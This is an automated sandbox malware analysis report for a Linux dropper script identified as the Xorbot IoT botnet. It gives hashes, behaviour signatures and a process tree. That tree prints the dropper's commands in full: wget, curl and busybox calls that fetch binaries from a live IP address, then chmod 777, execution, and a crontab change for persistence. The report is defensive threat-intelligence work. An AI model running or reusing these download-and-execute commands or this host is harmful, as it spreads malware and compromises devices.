Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/12/2024, 21:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8580d3e0404771972a9f01c8f1022b41

  • SHA1

    12009ebfa508f900f56d9da9a3fc0f058ce2227a

  • SHA256

    838e2007e9ae8cb8aaa9c2f53b17d5503d751cdc59a5997e2b9228de843b38f1

  • SHA512

    11d915de31c2a4cde4cd48529b3962db89f49307c35d963b9c4ee6e4edaa1eb02fd409d65305a4f30a6a0576ab134d3479071c9eee0d5bbf6b71b8151caacde9

  • SSDEEP

    96:uxnn5zkwsZhf0wvJhVz6a/eHK9h1TksmBbQJhVz6aDyyLil8dm9h1Tksdg1PZhfZ:u0Zhf0wv9eHK0CHZhf0wx

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (911) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:1513
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:1515
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          PID:1516
        • /bin/rm
          rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
            PID:1518
          • /usr/bin/wget
            wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1519
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1520
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1521
          • /bin/chmod
            chmod 777 xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • File and Directory Permissions Modification
            PID:1522
          • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            ./xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:1523
          • /bin/rm
            rm xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            PID:1525
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/chmod
            chmod 777 WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • File and Directory Permissions Modification
            PID:1529
          • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            ./WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Executes dropped EXE
            PID:1530
          • /bin/rm
            rm WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
              PID:1532
            • /usr/bin/wget
              wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:1533
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:1534
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /bin/chmod
              chmod 777 DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • File and Directory Permissions Modification
              PID:1536
            • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              ./DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Executes dropped EXE
              PID:1537
            • /bin/rm
              rm DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
                PID:1539
              • /usr/bin/wget
                wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:1540
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:1541
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:1542
              • /bin/chmod
                chmod 777 hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • File and Directory Permissions Modification
                PID:1543
              • /tmp/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                ./hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Executes dropped EXE
                PID:1544
              • /bin/rm
                rm hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                  PID:1546
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Writes file to tmp directory
                  PID:1547
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Writes file to tmp directory
                  PID:1548
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /bin/chmod
                  chmod 777 M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1550
                • /tmp/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  ./M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1551
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1553
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1554
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1555
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1556
                      • /bin/rm
                        rm M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                        2⤵
                          PID:1558
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ZR1g7SjlENYkzyDb0TX1X8JqInsjYvyhKy
                          2⤵
                            PID:1561

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /var/spool/cron/crontabs/tmp.hXUkqa

                                Filesize

                                210B

                                MD5

                                a58eab9e7186ee27428a1630abf94038

                                SHA1

                                5fcf26da2ca0c77dadc14e3381a985829ebe62ed

                                SHA256

                                debcf774d700e6f9f165b7d12ea9e15fff4d8b077ffa80e6c8ef423caeba170f

                                SHA512

                                30cfbc31c9396c2e34e9a8f909a37ca44a086ff6c8452f57be4fcab1de5b42479566d2a12ac9375e6133030d6bb151a826742e9a132f955bf344521d47f86acc